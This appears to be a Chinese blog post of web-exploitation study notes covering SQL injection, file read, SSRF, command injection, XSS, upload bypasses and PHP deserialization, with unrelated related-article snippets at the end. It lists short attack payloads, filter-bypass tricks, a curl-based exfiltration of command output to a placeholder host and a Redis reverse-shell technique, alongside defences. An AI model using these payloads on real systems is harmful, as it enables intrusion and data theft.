漏洞挖掘-利用

目录

一、文章简介

二、Web漏洞

1.SQL注入

(1)定义

(2)利用

(3)碰到的问题

(4)防御

(5)注入思路

(6)危害

2.任意文件读取

(1)定义

(2)利用

(3)思路

3.SSRF漏洞(服务器请求伪造)

(1)定义

(2)利用

4.命令执行漏洞

(1)定义

(2)利用

(3)思路

5.XSS(跨站脚本攻击)

(1)定义

(2)利用

(3)思路

(4)防御

6.web文件上传漏洞

(1)定义

(2)利用

(3)碰到的问题

7.反序列化漏洞

(1)反序列化定义

(2)利用


一、文章简介

        整合一些web漏洞,以及对漏洞的理解。

二、Web漏洞

1.SQL注入

(1)定义

        开发者程序编写过程中,对传入用户数据过滤不严格,将可能存在的攻击载荷拼接到SQL查询语句当中,再将这些查询语句传递到后端的数据库执行,从而引发实际执行的语句与预期不一致的情况。

(2)利用

1、数字型:输入点附近没有引号包裹($_GET['id'])运算模式被运算,即1+1 => 2

2、字符型:($id)运算模式无法运算,即1+1 => 1+1

(3)碰到的问题

1、联合查询只有一行结果,无法显示所需要的

答:用 limit 进行参数限制 或者 另一条记录用一个很大的值使其无法被查询到

2、注入语法示例

答:

        xxxxx'union select table-name,1 from information_schema.tables where table_schema='dvwa'#

        xxxxx'union select column_name,1 from information_schema.columns where table_name='users'#

3、注入流程

答:

        1、判断字符型还是数字型;

        2、判断字段数量;

        3、查看回显字段;

        4、获取数据库和用户名;

        5、查表名;

        6、查表字段;

        7、读取

注:复选框则通过Burpsuite抓包repeater;若引号无法使用,将表名改为database()自动获取,以及十六进制转换提交。

(4)防御

1、查询前的条件利用函数判断,函数过滤

2、输入转义、参数化查询

3、waf防护、云端防护

(5)注入思路

1、只过滤空格 => url编码代替空白符(如:%09)

2、将select替换为空 => 嵌套构造(如:selselectect)

3、大小写匹配 => 大小写混写(如:sElect)

4、正则匹配 =>构造绕过(如:正则'\bselect\b' => /*!50000select*/)

5、逃逸引号 => 编码绕过,\转义

6、字符串截断 =>\转义

(6)危害

        获取敏感数据,权限提升,控制关键文件,控制整个数据库,执行系统命令

2.任意文件读取

(1)定义

        攻击者通过一些手段读取服务器上开发者不允许读到的文件。

(2)利用

1、php的 php://filter 伪协议

2、Python的 feature函数

3、java的 file://协议

4、Ruby on Rails远程代码执行漏洞(CVE-2017-14849;CVE-2018-3760;CVE-2019-5418)

5、node模板注入、代码注入

6、nginx配置错误导致目录穿越(/static../ => /static/../)

(3)思路

1、爆破目录

2、利用filter协议:php://filter/convert.Base64-encode

3、利用zip协议:zip://uploads/xxx.png#1.php

3.SSRF漏洞(服务器请求伪造)

(1)定义

        攻击者通过构造数据进而伪造服务器端发起请求的漏洞,通常是服务端提供了从外部服务获取数据的功能,但没对目标地址协议等参数进行过滤限制,导致攻击者可以自由构造函数,发起预期外的请求。

(2)利用

        1、测试是否能控制支持常见协议(file://etc/passwd  、dict://xxx.xxx.xxx:xxxx/info 、gopher://xxxxx)

        2、写入Crontab反弹shell攻击Redis

        3、DNS重绑定

4.命令执行漏洞

(1)定义

        调用函数执行命令且未对输入做过滤处理。

(2)利用

        构造使其能同时执行多条命令即可

(3)思路

1、黑名单关键字=>利用变量进行拼接;使用通配符(?/*);借用已有字符( substr() 截取) 

2、无回显=>指令外带,在平台上获取执行结果(for /F %x in (xx) do xxxxx)or (curl xx/'xxx');时间盲注(ping -nc 5 xxxxx);命令写入web目录下(x.php?cmd=whoami>test)再访问文件。

3、正则限制=>找缺漏(如:正则未多行匹配,进行绕过)

4、限制命令长度=>利用上传的文件名字拼接

5.XSS(跨站脚本攻击)

(1)定义

        利用网页开发的漏洞,注入恶意代码到网页使用户加载并执行攻击者恶意制造的网页程序

(2)利用

1、存储型:恶意代码被服务器存储,在访问页面时会直接触发。

2、反射型:恶意代码未被服务器存储,每次出发通过GET/POST方式提交触发。

3、DOM型:在前端通过JS渲染完成数据交互,且不经过服务器,不需要与服务器交互

(3)思路

1、特殊标签闭合实现payload逃逸

2、闭合引号在变量传入恶意代码

3、on事件;img标签;input标签的autofocus属性;

4、伪协议: javascript:xxx (如: javascript:alert(1) )

5、data伪协议(如:data:text/html;base64,PHNjcmlwdD5hbGVydCgieHNzIik8L3NjcmlwdD4=)

注:乱码为<script>alert("xss")</script>的base64编码

6、借助模板的二次渲染完成沙箱逃逸(jinjia2)

7、html编码

8、变量替代

9、闭合引号转义

10、JSONP命令接口(callback=xxxxxx)

注:JSONP:解决主流浏览器的跨域数据访问,指向一个接口(动态添加)

(4)防御

1、httponly

2、输入检查

3、输出检查(安全的编码函数)

6.web文件上传漏洞

(1)定义

        实现文件上传时,没有对用户上传的文件做好处理

(2)利用

1、00截断:x.php/00.jpg=>x.php

2、转换字符集造成截断

3、文件后缀绕过(php3/php5/phtml/pht)

4、上传.htaccess/.user.ini

5、IIS解析漏洞(x.asp;a.jpg=>x.asp)

6、Nginx解析漏洞(先构造代码将后缀改为jpg,之后上传x.jpg文件,访问x.jpg/1.php,因为该文件不存在且要用php解析,故最后以php解析了x.php)

7、Apache解析漏洞(使用AddType时,x.php.xxx文件由于没有对应的处理器处理xxx,所以往左识别出php,交给php处理器处理)

8、Apache CVE-2017-15715漏洞(FilesMatch指令正则中$能匹配到换行符,导致.php\n的文件能被解析)

9、location匹配顺序导致绕过

注:location ^~:普通字符串匹配后不再进行正则匹配;location:大小写敏感,前缀匹配,不是完全匹配则会继续匹配;location ~:正则匹配,匹配成功则不考虑后面的

10、临时文件利用

11、死亡之die绕过:使用字符串过滤器把exit()处理掉(upload.php --data "filename=php://filter/write=convert.base64-decode/resource=x.php")

12、zip文件绕过;zip文件在文件被删除前访问文件生成另一个脚本文件到非上传目录中(不断上传访问最终成功);解压到一半失败的zip包;目录跳跃(当使用第三方解压方法时,文件名为../x.php)

(3)碰到的问题

1、web服务器中配置上传目录的脚本文件禁止访问

答:将目录穿越上传到根目录(../x.php)。

2、文件上传到OSS(云服务器)怎么办?

答:当网站把OSS绑定在自己的二级域名下时就能用了。

3、上传文件无法被解析访问

答:上传一个php文件配合文件包含实现解析(page.php?upload=x.php)

4、getimgesize检测文件是否为正常图片的绕过

答:php代码添加到图片内容后即可

5、imagecreatefromjpeg绕过

答:上传正常图片,下载回渲染后的图片,运行脚本处理,将代码注入图片,上传新生成的图

7.反序列化漏洞

(1)反序列化定义

        将对象的状态信息转换为可存储或者可传输的过程就是序列化,反序列化是为了方便对象的传输,获取之前的对象

(2)利用

1、__wakeup失效 CVE-2016-7124:属性个数不正确使wakeup失效后,利用destruct写入文件

2、bypass反序列化正则拦截逃逸:函数中存在"+"的判断,在对象名的长度前加上"+"号即可

3、字符逃逸CVE-2015-8562:类中不存在的属性也会进行反序列化,因字符数不对应出错,本身过滤函数使用后会变为2倍出错,故直接写入正确数量插入。(插入";i:1;s:8:"scanfsec";},长度为22,原序列添加22个x且长度加22*2=44个)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/68167.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

SQL-DQL

-----分组查询----- 1.语法&#xff1a; SELECT 字段列表 FROM 表名 [WHERE 条件 ] GROUP BY 分组字段名 [HAVING 分组后过滤条件]&#xff1b; 2.where与having区别 》执行时机不同&#xff1a;where是分组之前进行过滤&#xff0c;不满足where条件&#xff0c;不参与分组&…

C++ 接口(抽象类)

C 接口是使用抽象类来实现的&#xff0c;接口描述了类的行为和功能&#xff0c;而不需要完成类的特定实现。且抽象类与数据抽象互不混淆&#xff0c; 如果类中至少有一个函数被声明为纯虚函数&#xff0c;则这个类就是抽象类&#xff0c;数据抽象则是一个把实现细节与相关的接口…

【Flutter】Flutter 使用 qr_flutter 实现QR码二维码生成与渲染

【Flutter】Flutter 使用 qr_flutter 实现QR码二维码生成与渲染 文章目录 一、前言二、qr_flutter 包简介三、安装与配置四、基本使用五、高级功能与自定义六、完整实际业务代码示例七、总结 一、前言 亲爱的 Flutter 初学者&#xff0c;你好&#xff01;今天我要与你分享一个…

【黑马头条之项目部署_持续集成Jenkins】

本笔记内容为黑马头条项目的项目部署_持续集成部分 目录 一、内容介绍 1、什么是持续集成 2、持续集成的好处 3、今日内容 二、软件开发模式 1、软件开发生命周期 2、软件开发瀑布模型 3、软件的敏捷开发 三、Jenkins安装配置 1、Jenkins介绍 2、Jenkins环境搭建 …

OJ题库:计算日期到天数转换、打印从1到最大的n位数 、尼科彻斯定理

前言&#xff1a;在部分大厂笔试时经常会使用OJ题目&#xff0c;这里对《华为机试》和《剑指offer》中的部分题目进行思路分析和讲解&#xff0c;希望对各位读者有所帮助。 题目来自牛客网&#xff0c;欢迎各位积极挑战&#xff1a; HJ73:计算日期到天数转换_牛客网 JZ17:打印…

Python Number(数字).............................................

Python Number 数据类型用于存储数值。 数据类型是不允许改变的,这就意味着如果改变 Number 数据类型的值&#xff0c;将重新分配内存空间。 以下实例在变量赋值时 Number 对象将被创建&#xff1a; var1 1 var2 10您也可以使用del语句删除一些 Number 对象引用。 del语句…

CSAPP lab1 Data Lab

CSAPP lab1-Data Lab 前言&#xff1a; 本系列文章用于记录开始学习csapp的过程&#xff0c;奈何感觉自己基础实在太渣渣&#xff0c;系统好好学习一下这本神书以及其对应的lab lab 这一张的lab是真的干&#xff0c;好几道题卡的我脑壳都卡秃噜了&#xff0c;好歹终于凭借着…

【【STM32-29正点原子版本串口发送传输实验】

STM32-29正点原子版本串口发送传输实验 通过串口接收或发送一个字符 例程目的 开发板上我们接入的是实现异步通信的UART接口 USB转串口原理图 我们一步步分析 PA9是串口1 的发送引脚 PA10是串口1 的接受引脚 。因为我们现在只是用到异步收发器功能&#xff0c;所以我们现…

qt中子窗口最小化后再恢复显示窗口区域显示为全白色

问题&#xff1a; qt中子窗口最小化后再恢复显示窗口区域显示为全白色&#xff0c;如下图&#xff1a; 原因&#xff1a; 恢复显示后窗口为及时刷新。 解决办法&#xff1a; 重写showEvent函数&#xff0c;如下&#xff1a; void MyClass::showEvent(QShowEvent *event) {se…

大模型 Dalle2 学习三部曲(二)clip学习

clip论文比较长48页&#xff0c;但是clip模型本身又比较简单&#xff0c;效果又奇好&#xff0c;正所谓大道至简&#xff0c;我们来学习一下clip论文中的一些技巧&#xff0c;可以让我们快速加深对clip模型的理解&#xff0c;以及大模型对推荐带来革命性的变化。 clip结构 首选…

Mybatis 动态SQL – 使用choose标签动态生成条件语句

之前我们介绍了if,where标签的使用&#xff1b;本篇我们需要在if,where标签的基础上介绍如何使用Mybatis提供的choose标签动态生成条件语句。 如果您对if,where标签动态生成条件语句不太了解&#xff0c;建议您先进行了解后再阅读本篇&#xff0c;可以参考&#xff1a; Mybat…

CSS中如何实现文字描边效果(Text Stroke)?

聚沙成塔每天进步一点点 ⭐ 专栏简介⭐ 文字描边效果&#xff08;Text Stroke&#xff09;⭐ 示例⭐ 写在最后 ⭐ 专栏简介 前端入门之旅&#xff1a;探索Web开发的奇妙世界 记得点击上方或者右侧链接订阅本专栏哦 几何带你启航前端之旅 欢迎来到前端入门之旅&#xff01;这个…

Linux C语言 UDP协议实现的网络聊天室

需求分析 网络协议&#xff1a;UDP服务器需求&#xff1a; 需要一个存放用户数据的容器 因为是UDP协议&#xff0c;固采用链表的方式存储 服务器需要区分用户的操作类型&#xff08;如&#xff1a;上线&#xff0c;下线&#xff0c;发送消息&#xff09; 需要解析消息协议区分…

Navicat连接postgresql时出现‘datlastsysoid does not exist‘报错

当使用 Navicat 连接 PostgreSQL 数据库时出现 ‘datlastsysoid does not exist’ 的错误报错&#xff0c;这可能是由于 Navicat 版本与 PostgreSQL 版本不兼容所致。 这是因为在较新的 PostgreSQL 版本中移除了 ‘datlastsysoid’ 列&#xff0c;但可能较旧版本的 Navicat 尚…

Go实现LogCollect:海量日志收集系统【上篇——LogAgent实现】

Go实现LogCollect&#xff1a;海量日志收集系统【上篇——LogAgent实现】 下篇&#xff1a;Go实现LogCollect&#xff1a;海量日志收集系统【下篇——开发LogTransfer】 项目架构图&#xff1a; 0 项目背景与方案选择 背景 当公司发展的越来越大&#xff0c;业务越来越复杂…

Mysql底层数据结构为什么选择B+树

索引底层采用什么数据结构&#xff0c;为什么使用B树而不是其他数据结构&#xff1a; &#xff08;1&#xff09;如果采用二叉树&#xff1a;使用递增字段作为索引时&#xff0c;二叉树会退化成链表&#xff0c;查找效率太低 &#xff08;2&#xff09;如果采用红黑树&#xf…

微信小程序开发:一种新型的移动应用程序开发方式

一、引言 随着移动互联网的快速发展&#xff0c;微信小程序作为一种新型的移动应用开发方式&#xff0c;正在受到越来越多的关注。微信小程序是一种基于微信平台的轻量化应用&#xff0c;开发者可以通过微信提供的开发工具和接口&#xff0c;开发出各种具有特定功能的应用程序…

如何创建一个自己的sphinx文档网站

文章目录 前言一、操作步骤1.安装anaconda2.启动python3.8环境3.安装Sphinx4.创建文件夹5.初始化环境6. 编译7.文件夹搭查看8.搭建nginx查看8. 更换主题9.错误修复10.这里提供两个模板1.Demo_md2.Demo_rst前言 最近看到公司的文档中心,突然想起,为什么不为自己创建一个文档中…

在k8s中用label控制Pod部署到指定的node上

案例-标注k8s-node1是配置了SSD的节点 kubectl label node k8s-node1 disktypessd 查看标记 测试 将pod部署到disktypessd的节点上&#xff08;这里设置了k8s-node1为ssd&#xff09; 部署后查看结果-副本全都运行在了k8s-node1上—符合预期 删除标记 kubectl label node k8…

React常见知识点

1. setCount(10)与setCount(preCount > preCount 10) 的区别&#xff1a; import React, { useState } from react; export default function CounterHook() {const [count, setCount] useState(() > 10);console.log(CounterHook渲染);function handleBtnClick() {//…